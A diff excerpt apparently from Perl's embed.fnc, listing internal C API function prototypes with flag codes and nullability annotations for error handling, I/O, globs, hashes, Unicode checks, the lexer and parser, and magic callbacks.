+: croak()'s first parm can be NULL. Otherwise, mod_perl breaks.
+Afprd |void |croak |NULLOK const char* pat|...
+Aprd |void |vcroak |NULLOK const char* pat|NULLOK va_list* args
+Anprd |void |croak_no_modify
+Anprd |void |croak_xs_usage |NN const CV *const cv \
+ |NN const char *const params
+npr |void |croak_no_mem
+nprX |void |croak_popstack
+fnprx |void |noperl_die|NN const char* pat|...
+#if defined(WIN32)
+norx |void |win32_croak_not_implemented|NN const char * fname
+#endif
+#if defined(PERL_IMPLICIT_CONTEXT)
+Afnrp |void |croak_nocontext|NULLOK const char* pat|...
+Afnrp |OP* |die_nocontext |NULLOK const char* pat|...
+Afnp |void |deb_nocontext |NN const char* pat|...
+Afnp |char* |form_nocontext |NN const char* pat|...
+Anp |void |load_module_nocontext|U32 flags|NN SV* name|NULLOK SV* ver|...
+Afnp |SV* |mess_nocontext |NN const char* pat|...
+Afnp |void |warn_nocontext |NN const char* pat|...
+Afnp |void |warner_nocontext|U32 err|NN const char* pat|...
+Afnp |SV* |newSVpvf_nocontext|NN const char *const pat|...
+Afnp |void |sv_catpvf_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |void |sv_setpvf_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |void |sv_catpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |void |sv_setpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp |int |fprintf_nocontext|NN PerlIO *stream|NN const char *format|...
+Afnp |int |printf_nocontext|NN const char *format|...
+#endif
+: Used in pp.c
+p |SV * |core_prototype |NULLOK SV *sv|NN const char *name \
+ |const int code|NULLOK int * const opnum
+: Used in gv.c
+p |OP * |coresub_op |NN SV *const coreargssv|const int code \
+ |const int opnum
+: Used in sv.c
+EMXp |void |cv_ckproto_len_flags |NN const CV* cv|NULLOK const GV* gv\
+ |NULLOK const char* p|const STRLEN len \
+ |const U32 flags
+: Used in pp.c and pp_sys.c
+ApdR |SV* |gv_const_sv |NN GV* gv
+ApdRn |SV* |cv_const_sv |NULLOK const CV *const cv
+pRn |SV* |cv_const_sv_or_av|NULLOK const CV *const cv
+Apd |SV * |cv_name |NN CV *cv|NULLOK SV *sv|U32 flags
+Apd |void |cv_undef |NN CV* cv
+p |void |cv_undef_flags |NN CV* cv|U32 flags
+p |void |cv_forget_slab |NULLOK CV *cv
+Ap |void |cx_dump |NN PERL_CONTEXT* cx
+Ap |SV* |filter_add |NULLOK filter_t funcp|NULLOK SV* datasv
+Ap |void |filter_del |NN filter_t funcp
+ApR |I32 |filter_read |int idx|NN SV *buf_sv|int maxlen
+ApPR |char** |get_op_descs
+ApPR |char** |get_op_names
+: FIXME discussion on p5p
+pPR |const char* |get_no_modify
+: FIXME discussion on p5p
+pPR |U32* |get_opargs
+ApPR |PPADDR_t*|get_ppaddr
+: Used by CXINC, which appears to be in widespread use
+ApR |I32 |cxinc
+Afp |void |deb |NN const char* pat|...
+Ap |void |vdeb |NN const char* pat|NULLOK va_list* args
+Ap |void |debprofdump
+EXp |SV* |multideref_stringify |NN const OP* o|NULLOK CV *cv
+Ap |I32 |debop |NN const OP* o
+Ap |I32 |debstack
+Ap |I32 |debstackptrs
+pR |SV * |defelem_target |NN SV *sv|NULLOK MAGIC *mg
+Anp |char* |delimcpy |NN char* to|NN const char* toend|NN const char* from \
+ |NN const char* fromend|int delim|NN I32* retlen
+: Used in op.c, perl.c
+pM |void |delete_eval_scope
+Aprd |OP* |die_sv |NN SV *baseex
+Afrpd |OP* |die |NULLOK const char* pat|...
+: Used in util.c
+pr |void |die_unwind |NN SV* msv
+Ap |void |dounwind |I32 cxix
+: FIXME
+pmb |bool|do_aexec |NULLOK SV* really|NN SV** mark|NN SV** sp
+: Used in pp_sys.c
+p |bool|do_aexec5 |NULLOK SV* really|NN SV** mark|NN SV** sp|int fd|int do_report
+Ap |int |do_binmode |NN PerlIO *fp|int iotype|int mode
+: Used in pp.c
+Ap |bool |do_close |NULLOK GV* gv|bool not_implicit
+: Defined in doio.c, used only in pp_sys.c
+p |bool |do_eof |NN GV* gv
+
+#ifdef PERL_DEFAULT_DO_EXEC3_IMPLEMENTATION
+pm |bool|do_exec |NN const char* cmd
+#else
+p |bool|do_exec |NN const char* cmd
+#endif
+
+#if defined(WIN32) || defined(__SYMBIAN32__) || defined(VMS)
+Ap |int |do_aspawn |NULLOK SV* really|NN SV** mark|NN SV** sp
+Ap |int |do_spawn |NN char* cmd
+Ap |int |do_spawn_nowait|NN char* cmd
+#endif
+#if !defined(WIN32)
+p |bool|do_exec3 |NN const char *incmd|int fd|int do_report
+#endif
+p |void |do_execfree
+#if defined(PERL_IN_DOIO_C)
+s |void |exec_failed |NN const char *cmd|int fd|int do_report
+#endif
+#if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_ipcctl |I32 optype|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_ipcget |I32 optype|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_msgrcv |NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_msgsnd |NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_semop |NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p |I32 |do_shmio |I32 optype|NN SV** mark|NN SV** sp
+#endif
+Ap |void |do_join |NN SV *sv|NN SV *delim|NN SV **mark|NN SV **sp
+: Used in pp.c and pp_hot.c, prototype generated by regen/opcode.pl
+: p |OP* |do_kv
+: used in pp.c, pp_hot.c
+pR |I32 |do_ncmp |NN SV *const left|NN SV *const right
+Apmb |bool |do_open |NN GV* gv|NN const char* name|I32 len|int as_raw \
+ |int rawmode|int rawperm|NULLOK PerlIO* supplied_fp
+Ap |bool |do_open9 |NN GV *gv|NN const char *name|I32 len|int as_raw \
+ |int rawmode|int rawperm|NULLOK PerlIO *supplied_fp \
+ |NN SV *svs|I32 num
+#if defined(PERL_IN_DOIO_C)
+s |IO * |openn_setup |NN GV *gv|NN char *mode|NN PerlIO **saveifp \
+ |NN PerlIO **saveofp|NN int *savefd \
+ |NN char *savetype
+s |bool |openn_cleanup |NN GV *gv|NN IO *io|NULLOK PerlIO *fp \
+ |NN char *mode|NN const char *oname \
+ |NULLOK PerlIO *saveifp|NULLOK PerlIO *saveofp \
+ |int savefd|char savetype|int writing \
+ |bool was_fdopen|NULLOK const char *type
+#endif
+Ap |bool |do_openn |NN GV *gv|NN const char *oname|I32 len \
+ |int as_raw|int rawmode|int rawperm \
+ |NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
+ |I32 num
+Mp |bool |do_open_raw |NN GV *gv|NN const char *oname|STRLEN len \
+ |int rawmode|int rawperm
+Mp |bool |do_open6 |NN GV *gv|NN const char *oname|STRLEN len \
+ |NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
+ |U32 num
+: Used in pp_hot.c and pp_sys.c
+p |bool |do_print |NULLOK SV* sv|NN PerlIO* fp
+: Used in pp_sys.c
+pR |OP* |do_readline
+: Defined in doio.c, used only in pp_sys.c
+p |bool |do_seek |NULLOK GV* gv|Off_t pos|int whence
+Ap |void |do_sprintf |NN SV* sv|I32 len|NN SV** sarg
+: Defined in doio.c, used only in pp_sys.c
+p |Off_t |do_sysseek |NN GV* gv|Off_t pos|int whence
+: Defined in doio.c, used only in pp_sys.c
+pR |Off_t |do_tell |NN GV* gv
+: Defined in doop.c, used only in pp.c
+p |I32 |do_trans |NN SV* sv
+: Used in my.c and pp.c
+p |UV |do_vecget |NN SV* sv|SSize_t offset|int size
+: Defined in doop.c, used only in mg.c (with /* XXX slurp this routine */)
+p |void |do_vecset |NN SV* sv
+: Defined in doop.c, used only in pp.c
+p |void |do_vop |I32 optype|NN SV* sv|NN SV* left|NN SV* right
+: Used in perly.y
+p |OP* |dofile |NN OP* term|I32 force_builtin
+ApR |U8 |dowantarray
+Ap |void |dump_all
+p |void |dump_all_perl |bool justperl
+Ap |void |dump_eval
+Ap |void |dump_form |NN const GV* gv
+Ap |void |gv_dump |NULLOK GV* gv
+Ap |void |op_dump |NN const OP *o
+Ap |void |pmop_dump |NULLOK PMOP* pm
+Ap |void |dump_packsubs |NN const HV* stash
+p |void |dump_packsubs_perl |NN const HV* stash|bool justperl
+Ap |void |dump_sub |NN const GV* gv
+p |void |dump_sub_perl |NN const GV* gv|bool justperl
+Apd |void |fbm_compile |NN SV* sv|U32 flags
+ApdR |char* |fbm_instr |NN unsigned char* big|NN unsigned char* bigend \
+ |NN SV* littlestr|U32 flags
+p |CV * |find_lexical_cv|PADOFFSET off
+pR |OP * |parse_subsignature
+: Defined in util.c, used only in perl.c
+p |char* |find_script |NN const char *scriptname|bool dosearch \
+ |NULLOK const char *const *const search_ext|I32 flags
+#if defined(PERL_IN_OP_C)
+s |OP* |force_list |NULLOK OP* arg|bool nullit
+i |OP* |op_integerize |NN OP *o
+i |OP* |op_std_init |NN OP *o
+#if defined(USE_ITHREADS)
+i |void |op_relocate_sv |NN SV** svp|NN PADOFFSET* targp
+#endif
+i |OP* |newMETHOP_internal |I32 type|I32 flags|NULLOK OP* dynamic_meth \
+ |NULLOK SV* const_meth
+: FIXME
+s |OP* |fold_constants |NN OP *o
+#endif
+Afpd |char* |form |NN const char* pat|...
+Ap |char* |vform |NN const char* pat|NULLOK va_list* args
+Ap |void |free_tmps
+#if defined(PERL_IN_OP_C)
+s |OP* |gen_constant_list|NULLOK OP* o
+#endif
+#if !defined(HAS_GETENV_LEN)
+: Used in hv.c
+p |char* |getenv_len |NN const char *env_elem|NN unsigned long *len
+#endif
+: Used in pp_ctl.c and pp_hot.c
+pox |void |get_db_sub |NULLOK SV **svp|NN CV *cv
+Ap |void |gp_free |NULLOK GV* gv
+Ap |GP* |gp_ref |NULLOK GP* gp
+Ap |GV* |gv_add_by_type |NULLOK GV *gv|svtype type
+Apmb |GV* |gv_AVadd |NULLOK GV *gv
+Apmb |GV* |gv_HVadd |NULLOK GV *gv
+Apmb |GV* |gv_IOadd |NULLOK GV* gv
+AmR |GV* |gv_autoload4 |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 method
+ApR |GV* |gv_autoload_sv |NULLOK HV* stash|NN SV* namesv|U32 flags
+ApR |GV* |gv_autoload_pv |NULLOK HV* stash|NN const char* namepv \
+ |U32 flags
+ApR |GV* |gv_autoload_pvn |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|U32 flags
+Ap |void |gv_check |NN HV* stash
+Ap |void |gv_efullname |NN SV* sv|NN const GV* gv
+Apmb |void |gv_efullname3 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix
+Ap |void |gv_efullname4 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
+Ap |GV* |gv_fetchfile |NN const char* name
+Ap |GV* |gv_fetchfile_flags|NN const char *const name|const STRLEN len\
+ |const U32 flags
+Amd |GV* |gv_fetchmeth |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 level
+Apd |GV* |gv_fetchmeth_sv |NULLOK HV* stash|NN SV* namesv|I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pv |NULLOK HV* stash|NN const char* name \
+ |I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pvn |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 level|U32 flags
+Amd |GV* |gv_fetchmeth_autoload |NULLOK HV* stash \
+ |NN const char* name|STRLEN len \
+ |I32 level
+Apd |GV* |gv_fetchmeth_sv_autoload |NULLOK HV* stash|NN SV* namesv|I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pv_autoload |NULLOK HV* stash|NN const char* name \
+ |I32 level|U32 flags
+Apd |GV* |gv_fetchmeth_pvn_autoload |NULLOK HV* stash|NN const char* name \
+ |STRLEN len|I32 level|U32 flags
+Apdmb |GV* |gv_fetchmethod |NN HV* stash|NN const char* name
+Apd |GV* |gv_fetchmethod_autoload|NN HV* stash|NN const char* name \
+ |I32 autoload
+ApM |GV* |gv_fetchmethod_sv_flags|NN HV* stash|NN SV* namesv|U32 flags
+ApM |GV* |gv_fetchmethod_pv_flags|NN HV* stash|NN const char* name \
+ |U32 flags
+ApM |GV* |gv_fetchmethod_pvn_flags|NN HV* stash|NN const char* name \
+ |const STRLEN len|U32 flags
+Ap |GV* |gv_fetchpv |NN const char *nambeg|I32 add|const svtype sv_type
+Ap |void |gv_fullname |NN SV* sv|NN const GV* gv
+Apmb |void |gv_fullname3 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix
+Ap |void |gv_fullname4 |NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
+: Used in scope.c
+pMox |GP * |newGP |NN GV *const gv
+pX |void |cvgv_set |NN CV* cv|NULLOK GV* gv
+poX |GV * |cvgv_from_hek |NN CV* cv
+pX |void |cvstash_set |NN CV* cv|NULLOK HV* stash
+Amd |void |gv_init |NN GV* gv|NULLOK HV* stash \
+ |NN const char* name|STRLEN len|int multi
+Ap |void |gv_init_sv |NN GV* gv|NULLOK HV* stash|NN SV* namesv|U32 flags
+Ap |void |gv_init_pv |NN GV* gv|NULLOK HV* stash|NN const char* name \
+ |U32 flags
+Ap |void |gv_init_pvn |NN GV* gv|NULLOK HV* stash|NN const char* name \
+ |STRLEN len|U32 flags
+Ap |void |gv_name_set |NN GV* gv|NN const char *name|U32 len|U32 flags
+px |GV * |gv_override |NN const char * const name \
+ |const STRLEN len
+XMpd |void |gv_try_downgrade|NN GV* gv
+p |void |gv_setref |NN SV *const dstr|NN SV *const sstr
+Apd |HV* |gv_stashpv |NN const char* name|I32 flags
+Apd |HV* |gv_stashpvn |NN const char* name|U32 namelen|I32 flags
+#if defined(PERL_IN_GV_C)
+i |HV* |gv_stashpvn_internal |NN const char* name|U32 namelen|I32 flags
+i |HV* |gv_stashsvpvn_cached |NULLOK SV *namesv|NULLOK const char* name|U32 namelen|I32 flags
+i |GV* |gv_fetchmeth_internal |NULLOK HV* stash|NULLOK SV* meth|NULLOK const char* name \
+ |STRLEN len|I32 level|U32 flags
+#endif
+Apd |HV* |gv_stashsv |NN SV* sv|I32 flags
+Apd |void |hv_clear |NULLOK HV *hv
+: used in SAVEHINTS() and op.c
+ApdR |HV * |hv_copy_hints_hv|NULLOK HV *const ohv
+Ap |void |hv_delayfree_ent|NN HV *hv|NULLOK HE *entry
+Abmd |SV* |hv_delete |NULLOK HV *hv|NN const char *key|I32 klen \
+ |I32 flags
+Abmd |SV* |hv_delete_ent |NULLOK HV *hv|NN SV *keysv|I32 flags|U32 hash
+AbmdR |bool |hv_exists |NULLOK HV *hv|NN const char *key|I32 klen
+AbmdR |bool |hv_exists_ent |NULLOK HV *hv|NN SV *keysv|U32 hash
+Abmd |SV** |hv_fetch |NULLOK HV *hv|NN const char *key|I32 klen \
+ |I32 lval
+Abmd |HE* |hv_fetch_ent |NULLOK HV *hv|NN SV *keysv|I32 lval|U32 hash
+Ap |void* |hv_common |NULLOK HV *hv|NULLOK SV *keysv \
+ |NULLOK const char* key|STRLEN klen|int flags \
+ |int action|NULLOK SV *val|U32 hash
+Ap |void* |hv_common_key_len|NULLOK HV *hv|NN const char *key \
+ |I32 klen_i32|const int action|NULLOK SV *val \
+ |const U32 hash
+Apod |STRLEN |hv_fill |NN HV *const hv
+Ap |void |hv_free_ent |NN HV *hv|NULLOK HE *entry
+Apd |I32 |hv_iterinit |NN HV *hv
+ApdR |char* |hv_iterkey |NN HE* entry|NN I32* retlen
+ApdR |SV* |hv_iterkeysv |NN HE* entry
+ApdRbm |HE* |hv_iternext |NN HV *hv
+ApdR |SV* |hv_iternextsv |NN HV *hv|NN char **key|NN I32 *retlen
+ApMdR |HE* |hv_iternext_flags|NN HV *hv|I32 flags
+ApdR |SV* |hv_iterval |NN HV *hv|NN HE *entry
+Ap |void |hv_ksplit |NN HV *hv|IV newmax
+Apdbm |void |hv_magic |NN HV *hv|NULLOK GV *gv|int how
+#if defined(PERL_IN_HV_C)
+s |SV * |refcounted_he_value |NN const struct refcounted_he *he
+#endif
+Xpd |HV * |refcounted_he_chain_2hv|NULLOK const struct refcounted_he *c|U32 flags
+Xpd |SV * |refcounted_he_fetch_pvn|NULLOK const struct refcounted_he *chain \
+ |NN const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Xpd |SV * |refcounted_he_fetch_pv|NULLOK const struct refcounted_he *chain \
+ |NN const char *key|U32 hash|U32 flags
+Xpd |SV * |refcounted_he_fetch_sv|NULLOK const struct refcounted_he *chain \
+ |NN SV *key|U32 hash|U32 flags
+Xpd |struct refcounted_he *|refcounted_he_new_pvn \
+ |NULLOK struct refcounted_he *parent \
+ |NN const char *keypv|STRLEN keylen \
+ |U32 hash|NULLOK SV *value|U32 flags
+Xpd |struct refcounted_he *|refcounted_he_new_pv \
+ |NULLOK struct refcounted_he *parent \
+ |NN const char *key \
+ |U32 hash|NULLOK SV *value|U32 flags
+Xpd |struct refcounted_he *|refcounted_he_new_sv \
+ |NULLOK struct refcounted_he *parent \
+ |NN SV *key \
+ |U32 hash|NULLOK SV *value|U32 flags
+Xpd |void |refcounted_he_free|NULLOK struct refcounted_he *he
+Xpd |struct refcounted_he *|refcounted_he_inc|NULLOK struct refcounted_he *he
+Abmd |SV** |hv_store |NULLOK HV *hv|NULLOK const char *key \
+ |I32 klen|NULLOK SV *val|U32 hash
+Abmd |HE* |hv_store_ent |NULLOK HV *hv|NULLOK SV *key|NULLOK SV *val\
+ |U32 hash
+AbmM |SV** |hv_store_flags |NULLOK HV *hv|NULLOK const char *key \
+ |I32 klen|NULLOK SV *val|U32 hash|int flags
+Amd |void |hv_undef |NULLOK HV *hv
+poX |void |hv_undef_flags |NULLOK HV *hv|U32 flags
+Am |I32 |ibcmp |NN const char* a|NN const char* b|I32 len
+AnpP |I32 |foldEQ |NN const char* a|NN const char* b|I32 len
+Am |I32 |ibcmp_locale |NN const char* a|NN const char* b|I32 len
+AnpP |I32 |foldEQ_locale |NN const char* a|NN const char* b|I32 len
+Am |I32 |ibcmp_utf8 |NN const char *s1|NULLOK char **pe1|UV l1 \
+ |bool u1|NN const char *s2|NULLOK char **pe2 \
+ |UV l2|bool u2
+Amd |I32 |foldEQ_utf8 |NN const char *s1|NULLOK char **pe1|UV l1 \
+ |bool u1|NN const char *s2|NULLOK char **pe2 \
+ |UV l2|bool u2
+AMp |I32 |foldEQ_utf8_flags |NN const char *s1|NULLOK char **pe1|UV l1 \
+ |bool u1|NN const char *s2|NULLOK char **pe2 \
+ |UV l2|bool u2|U32 flags
+AnpP |I32 |foldEQ_latin1 |NN const char* a|NN const char* b|I32 len
+#if defined(PERL_IN_DOIO_C)
+sR |bool |ingroup |Gid_t testgid|bool effective
+#endif
+: Used in toke.c
+p |void |init_argv_symbols|int argc|NN char **argv
+: Used in pp_ctl.c
+po |void |init_dbargs
+: Used in mg.c
+p |void |init_debugger
+Ap |void |init_stacks
+Ap |void |init_tm |NN struct tm *ptm
+: Used in perly.y
+AnpPR |char* |instr |NN const char* big|NN const char* little
+: Used in sv.c
+p |bool |io_close |NN IO* io|NULLOK GV *gv \
+ |bool not_implicit|bool warn_on_fail
+: Used in perly.y
+pR |OP* |invert |NULLOK OP* cmd
+ApR |I32 |is_lvalue_sub
+: Used in cop.h
+XopR |I32 |was_lvalue_sub
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiMRn |STRLEN |_is_utf8_char_slow|NN const U8 *s|NN const U8 *e
+#endif
+ADMpPR |U32 |to_uni_upper_lc|U32 c
+ADMpPR |U32 |to_uni_title_lc|U32 c
+ADMpPR |U32 |to_uni_lower_lc|U32 c
+ADMpPR |bool |is_uni_alnum |UV c
+ADMpPR |bool |is_uni_alnumc |UV c
+ADMpPR |bool |is_uni_idfirst |UV c
+ADMpPR |bool |is_uni_alpha |UV c
+ADMpPR |bool |is_uni_ascii |UV c
+ADMpPR |bool |is_uni_blank |UV c
+ADMpPR |bool |is_uni_space |UV c
+ADMpPR |bool |is_uni_cntrl |UV c
+ADMpPR |bool |is_uni_graph |UV c
+ADMpPR |bool |is_uni_digit |UV c
+ADMpPR |bool |is_uni_upper |UV c
+ADMpPR |bool |is_uni_lower |UV c
+ADMpPR |bool |is_uni_print |UV c
+ADMpPR |bool |is_uni_punct |UV c
+ADMpPR |bool |is_uni_xdigit |UV c
+AMp |UV |to_uni_upper |UV c|NN U8 *p|NN STRLEN *lenp
+AMp |UV |to_uni_title |UV c|NN U8 *p|NN STRLEN *lenp
+ADMpPR |bool |isIDFIRST_lazy |NN const char* p
+ADMpPR |bool |isALNUM_lazy |NN const char* p
+#ifdef PERL_IN_UTF8_C
+snR |U8 |to_lower_latin1|const U8 c|NULLOK U8 *p|NULLOK STRLEN *lenp
+#endif
+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+EXp |UV |_to_fold_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const unsigned int flags
+#endif
+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_PP_C)
+p |UV |_to_upper_title_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const char S_or_s
+#endif
+AMp |UV |to_uni_lower |UV c|NN U8 *p|NN STRLEN *lenp
+AMmp |UV |to_uni_fold |UV c|NN U8 *p|NN STRLEN *lenp
+AMp |UV |_to_uni_fold_flags|UV c|NN U8 *p|NN STRLEN *lenp|U8 flags
+ADMpPR |bool |is_uni_alnum_lc|UV c
+ADMpPR |bool |is_uni_alnumc_lc|UV c
+ADMpPR |bool |is_uni_idfirst_lc|UV c
+AMpR |bool |_is_uni_perl_idcont|UV c
+AMpR |bool |_is_uni_perl_idstart|UV c
+ADMpPR |bool |is_uni_alpha_lc|UV c
+ADMpPR |bool |is_uni_ascii_lc|UV c
+ADMpPR |bool |is_uni_space_lc|UV c
+ADMpPR |bool |is_uni_blank_lc|UV c
+ADMpPR |bool |is_uni_cntrl_lc|UV c
+ADMpPR |bool |is_uni_graph_lc|UV c
+ADMpPR |bool |is_uni_digit_lc|UV c
+ADMpPR |bool |is_uni_upper_lc|UV c
+ADMpPR |bool |is_uni_lower_lc|UV c
+ADMpPR |bool |is_uni_print_lc|UV c
+ADMpPR |bool |is_uni_punct_lc|UV c
+ADMpPR |bool |is_uni_xdigit_lc|UV c
+AnpdR |bool |is_invariant_string|NN const U8 *s|STRLEN len
+AmpdR |bool |is_ascii_string|NN const U8 *s|STRLEN len
+AnpdD |STRLEN |is_utf8_char |NN const U8 *s
+Abmnpd |STRLEN |is_utf8_char_buf|NN const U8 *buf|NN const U8 *buf_end
+Anpd |bool |is_utf8_string |NN const U8 *s|STRLEN len
+Anpdmb |bool |is_utf8_string_loc|NN const U8 *s|STRLEN len|NULLOK const U8 **ep
+Anpd |bool |is_utf8_string_loclen|NN const U8 *s|STRLEN len|NULLOK const U8 **ep|NULLOK STRLEN *el
+AMpR |bool |_is_uni_FOO|const U8 classnum|const UV c
+AMpR |bool |_is_utf8_FOO|const U8 classnum|NN const U8 *p
+ADMpR |bool |is_utf8_alnum |NN const U8 *p
+ADMpR |bool |is_utf8_alnumc |NN const U8 *p
+ADMpR |bool |is_utf8_idfirst|NN const U8 *p
+ADMpR |bool |is_utf8_xidfirst|NN const U8 *p
+AMpR |bool |_is_utf8_idcont|NN const U8 *p
+AMpR |bool |_is_utf8_idstart|NN const U8 *p
+AMpR |bool |_is_utf8_xidcont|NN const U8 *p
+AMpR |bool |_is_utf8_xidstart|NN const U8 *p
+AMpR |bool |_is_utf8_perl_idcont|NN const U8 *p
+AMpR |bool |_is_utf8_perl_idstart|NN const U8 *p
+ADMpR |bool |is_utf8_idcont |NN const U8 *p
+ADMpR |bool |is_utf8_xidcont |NN const U8 *p
+ADMpR |bool |is_utf8_alpha |NN const U8 *p
+ADMpR |bool |is_utf8_ascii |NN const U8 *p
+ADMpR |bool |is_utf8_blank |NN const U8 *p
+ADMpR |bool |is_utf8_space |NN const U8 *p
+ADMpR |bool |is_utf8_perl_space |NN const U8 *p
+ADMpR |bool |is_utf8_perl_word |NN const U8 *p
+ADMpR |bool |is_utf8_cntrl |NN const U8 *p
+ADMpR |bool |is_utf8_digit |NN const U8 *p
+ADMpR |bool |is_utf8_posix_digit |NN const U8 *p
+ADMpR |bool |is_utf8_graph |NN const U8 *p
+ADMpR |bool |is_utf8_upper |NN const U8 *p
+ADMpR |bool |is_utf8_lower |NN const U8 *p
+ADMpR |bool |is_utf8_print |NN const U8 *p
+ADMpR |bool |is_utf8_punct |NN const U8 *p
+ADMpR |bool |is_utf8_xdigit |NN const U8 *p
+AMpR |bool |_is_utf8_mark |NN const U8 *p
+ADMpR |bool |is_utf8_mark |NN const U8 *p
+: Used in perly.y
+p |OP* |jmaybe |NN OP *o
+: Used in pp.c
+pP |I32 |keyword |NN const char *name|I32 len|bool all_keywords
+#if defined(PERL_IN_OP_C)
+s |void |inplace_aassign |NN OP* o
+#endif
+Ap |void |leave_scope |I32 base
+: Public lexer API
+AMpd |void |lex_start |NULLOK SV* line|NULLOK PerlIO *rsfp|U32 flags
+AMpd |bool |lex_bufutf8
+AMpd |char* |lex_grow_linestr|STRLEN len
+AMpd |void |lex_stuff_pvn |NN const char* pv|STRLEN len|U32 flags
+AMpd |void |lex_stuff_pv |NN const char* pv|U32 flags
+AMpd |void |lex_stuff_sv |NN SV* sv|U32 flags
+AMpd |void |lex_unstuff |NN char* ptr
+AMpd |void |lex_read_to |NN char* ptr
+AMpd |void |lex_discard_to |NN char* ptr
+AMpd |bool |lex_next_chunk |U32 flags
+AMpd |I32 |lex_peek_unichar|U32 flags
+AMpd |I32 |lex_read_unichar|U32 flags
+AMpd |void |lex_read_space |U32 flags
+: Public parser API
+AMpd |OP* |parse_arithexpr|U32 flags
+AMpd |OP* |parse_termexpr |U32 flags
+AMpd |OP* |parse_listexpr |U32 flags
+AMpd |OP* |parse_fullexpr |U32 flags
+AMpd |OP* |parse_block |U32 flags
+AMpd |OP* |parse_barestmt |U32 flags
+AMpd |SV* |parse_label |U32 flags
+AMpd |OP* |parse_fullstmt |U32 flags
+AMpd |OP* |parse_stmtseq |U32 flags
+: Used in various files
+Apd |void |op_null |NN OP* o
+: FIXME. Used by Data::Alias
+EXp |void |op_clear |NN OP* o
+Ap |void |op_refcnt_lock
+Ap |void |op_refcnt_unlock
+Apdn |OP* |op_sibling_splice|NULLOK OP *parent|NULLOK OP *start \
+ |int del_count|NULLOK OP* insert
+#ifdef PERL_OP_PARENT
+Apdn |OP* |op_parent|NN OP *o
+#endif
+#if defined(PERL_IN_OP_C)
+s |OP* |listkids |NULLOK OP* o
+#endif
+p |OP* |list |NULLOK OP* o
+Apd |void |load_module|U32 flags|NN SV* name|NULLOK SV* ver|...
+Ap |void |vload_module|U32 flags|NN SV* name|NULLOK SV* ver|NULLOK va_list* args
+: Used in perly.y
+p |OP* |localize |NN OP *o|I32 lex
+ApdR |I32 |looks_like_number|NN SV *const sv
+Apd |UV |grok_bin |NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_DQUOTE_C)
+EMpRX |bool |grok_bslash_x |NN char** s|NN UV* uv \
+ |NN const char** error_msg \
+ |const bool output_warning \
+ |const bool strict \
+ |const bool silence_non_portable \
+ |const bool utf8
+EMpRX |char |grok_bslash_c |const char source|const bool output_warning
+EMpRX |bool |grok_bslash_o |NN char** s|NN UV* uv \
+ |NN const char** error_msg \
+ |const bool output_warning \
+ |const bool strict \
+ |const bool silence_non_portable \
+ |const bool utf8
+EMiR |char*|form_short_octal_warning|NN const char * const s \
+ |const STRLEN len
+EiPRn |I32 |regcurly |NN const char *s
+#endif
+Apd |UV |grok_hex |NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+Apd |int |grok_infnan |NN const char** sp|NN const char *send
+Apd |int |grok_number |NN const char *pv|STRLEN len|NULLOK UV *valuep
+Apd |int |grok_number_flags|NN const char *pv|STRLEN len|NULLOK UV *valuep|U32 flags
+ApdR |bool |grok_numeric_radix|NN const char **sp|NN const char *send
+Apd |UV |grok_oct |NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+EXpn |bool |grok_atoUV |NN const char* pv|NN UV* valptr|NULLOK const char** endptr
+: These are all indirectly referenced by globals.c. This is somewhat annoying.
+p |int |magic_clearenv |NN SV* sv|NN MAGIC* mg
+p |int |magic_clear_all_env|NN SV* sv|NN MAGIC* mg
+dp |int |magic_clearhint|NN SV* sv|NN MAGIC* mg
+dp |int |magic_clearhints|NN SV* sv|NN MAGIC* mg
+p |int |magic_clearisa |NULLOK SV* sv|NN MAGIC* mg
+p |int |magic_clearpack|NN SV* sv|NN MAGIC* mg
+p |int |magic_clearsig |NN SV* sv|NN MAGIC* mg
+p |int |magic_copycallchecker|NN SV* sv|NN MAGIC *mg|NN SV *nsv \
+ |NULLOK const char *name|I32 namlen
+p |int |magic_existspack|NN SV* sv|NN const MAGIC* mg
+p |int |magic_freeovrld|NN SV* sv|NN MAGIC* mg
+p |int |magic_get |NN SV* sv|NN MAGIC* mg
+p |int |magic_getarylen|NN SV* sv|NN const MAGIC* mg
+p |int |magic_getdefelem|NN SV* sv|NN MAGIC* mg
+p |int |magic_getdebugvar|NN SV* sv|NN MAGIC* mg
+p |int |magic_getnkeys |NN SV* sv|NN MAGIC* mg
+p |int |magic_getpack |NN SV* sv|NN MAGIC* mg
+p |int |magic_getpos |NN SV* sv|NN MAGIC* mg
